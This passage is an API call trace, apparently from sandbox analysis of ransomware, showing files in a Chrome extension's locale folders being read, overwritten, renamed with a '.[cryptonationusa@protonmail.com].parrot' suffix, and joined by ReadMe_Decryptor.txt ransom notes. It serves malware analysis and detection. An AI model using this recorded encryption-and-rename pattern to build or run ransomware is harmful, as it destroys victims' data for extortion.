hHeap=0x5b0000) returned 1 [0064.264] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f1, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0064.264] CloseHandle (hObject=0x28c) returned 1 [0064.265] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x6a3b80 [0064.265] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c6) returned 0x6a3cb8 [0064.265] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3b80 | out: hHeap=0x5b0000) returned 1 [0064.265] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0064.266] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3cb8 | out: hHeap=0x5b0000) returned 1 [0064.266] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160fb8 | out: hHeap=0x5b0000) returned 1 [0064.266] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a39c8 | out: hHeap=0x5b0000) returned 1 [0064.266] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x6a39c8 [0064.266] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x6a3af0 [0064.266] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0064.266] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0064.266] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28c [0064.267] GetFileType (hFile=0x28c) returned 0x1 [0064.267] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5cee58 [0064.278] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x21c, nNumberOfBytesToLockHigh=0x0) returned 1 [0064.278] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0064.278] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0064.279] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.279] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x104, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x104, lpOverlapped=0x0) returned 1 [0064.279] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0064.279] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0064.280] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0064.280] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0064.280] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0064.280] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0064.280] GetLastError () returned 0x0 [0064.281] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.281] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0064.281] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0064.281] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0064.281] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0064.281] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0064.281] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0064.281] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0064.281] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0064.281] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0064.281] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0064.281] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0064.281] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0064.281] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0064.281] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0064.281] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0064.281] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d150 [0064.281] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0064.281] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0064.281] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0064.281] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0064.281] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0064.281] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0064.281] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0064.281] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240b88 [0064.281] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0064.281] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22405f0 [0064.281] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b88 | out: hHeap=0x5b0000) returned 1 [0064.281] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22402b0 [0064.281] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22405f0 | out: hHeap=0x5b0000) returned 1 [0064.281] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x228) returned 0x69f268 [0064.282] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22402b0 | out: hHeap=0x5b0000) returned 1 [0064.282] WriteFile (in: hFile=0x28c, lpBuffer=0x69f268*, nNumberOfBytesToWrite=0x228, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x69f268*, lpNumberOfBytesWritten=0x18da44*=0x228, lpOverlapped=0x0) returned 1 [0064.282] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69f268 | out: hHeap=0x5b0000) returned 1 [0064.282] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x21c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0064.282] CloseHandle (hObject=0x28c) returned 1 [0064.283] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x22402b0 [0064.283] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c6) returned 0x6a3df8 [0064.283] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22402b0 | out: hHeap=0x5b0000) returned 1 [0064.283] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0064.284] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3df8 | out: hHeap=0x5b0000) returned 1 [0064.284] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3161140 | out: hHeap=0x5b0000) returned 1 [0064.284] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3be0 | out: hHeap=0x5b0000) returned 1 [0064.284] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x22402b0 [0064.284] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x6a3be0 [0064.284] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0064.284] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0064.284] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28c [0064.285] GetFileType (hFile=0x28c) returned 0x1 [0064.285] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5cee58 [0064.522] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1e8, nNumberOfBytesToLockHigh=0x0) returned 1 [0064.522] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0064.522] ReadFile (in: hFile=0x270, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0064.523] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.523] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xd0, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xd0, lpOverlapped=0x0) returned 1 [0064.523] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0064.524] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0064.524] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0064.524] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0064.524] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0064.524] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0064.524] GetLastError () returned 0x0 [0064.527] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.527] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0064.527] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0064.527] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0064.527] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0064.527] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0064.527] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0064.527] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0064.527] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0064.527] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0064.527] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0064.527] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0064.527] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0064.528] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0064.528] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0064.528] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0064.528] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d150 [0064.528] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0064.528] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0064.528] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0064.528] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0064.528] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0064.528] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0064.528] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0064.528] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240b88 [0064.528] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0064.528] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5d37b8 [0064.528] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b88 | out: hHeap=0x5b0000) returned 1 [0064.528] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x6a3b80 [0064.528] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d37b8 | out: hHeap=0x5b0000) returned 1 [0064.528] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1f8) returned 0x6a3cc8 [0064.528] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3b80 | out: hHeap=0x5b0000) returned 1 [0064.528] WriteFile (in: hFile=0x270, lpBuffer=0x6a3cc8*, nNumberOfBytesToWrite=0x1f8, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x6a3cc8*, lpNumberOfBytesWritten=0x18da44*=0x1f8, lpOverlapped=0x0) returned 1 [0064.528] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3cc8 | out: hHeap=0x5b0000) returned 1 [0064.528] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1e8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0064.529] CloseHandle (hObject=0x270) returned 1 [0064.529] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x6a3b80 [0064.529] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1de) returned 0x6a3cc8 [0064.529] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3b80 | out: hHeap=0x5b0000) returned 1 [0064.530] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_gb\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_gb\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0064.530] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3cc8 | out: hHeap=0x5b0000) returned 1 [0064.530] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31612c8 | out: hHeap=0x5b0000) returned 1 [0064.530] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a39c8 | out: hHeap=0x5b0000) returned 1 [0064.530] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x6a39c8 [0064.530] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x150) returned 0x6a3af0 [0064.530] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0064.531] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0064.533] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1e9, nNumberOfBytesToLockHigh=0x0) returned 1 [0064.533] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0064.533] ReadFile (in: hFile=0x270, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0064.534] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.534] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xd1, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xd1, lpOverlapped=0x0) returned 1 [0064.534] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0064.534] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0064.534] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0064.534] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0064.534] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0064.534] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0064.534] GetLastError () returned 0x0 [0064.536] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.536] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0064.536] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0064.536] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0064.536] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0064.536] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0064.536] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0064.536] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0064.536] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0064.536] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0064.536] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0064.536] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0064.536] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0064.536] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0064.536] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0064.536] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0064.536] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d150 [0064.536] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0064.536] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0064.536] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0064.536] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0064.536] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0064.536] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0064.536] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0064.536] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240b88 [0064.536] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0064.536] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22405e8 [0064.536] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b88 | out: hHeap=0x5b0000) returned 1 [0064.536] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22402b0 [0064.536] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22405e8 | out: hHeap=0x5b0000) returned 1 [0064.537] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1f8) returned 0x5d95b8 [0064.537] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22402b0 | out: hHeap=0x5b0000) returned 1 [0064.537] WriteFile (in: hFile=0x270, lpBuffer=0x5d95b8*, nNumberOfBytesToWrite=0x1f8, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x5d95b8*, lpNumberOfBytesWritten=0x18da44*=0x1f8, lpOverlapped=0x0) returned 1 [0064.537] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d95b8 | out: hHeap=0x5b0000) returned 1 [0064.537] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1e9, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0064.537] CloseHandle (hObject=0x270) returned 1 [0064.538] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x22402b0 [0064.538] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1de) returned 0x5d95b8 [0064.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22402b0 | out: hHeap=0x5b0000) returned 1 [0064.538] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_us\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_us\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0064.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d95b8 | out: hHeap=0x5b0000) returned 1 [0064.538] HeapFree 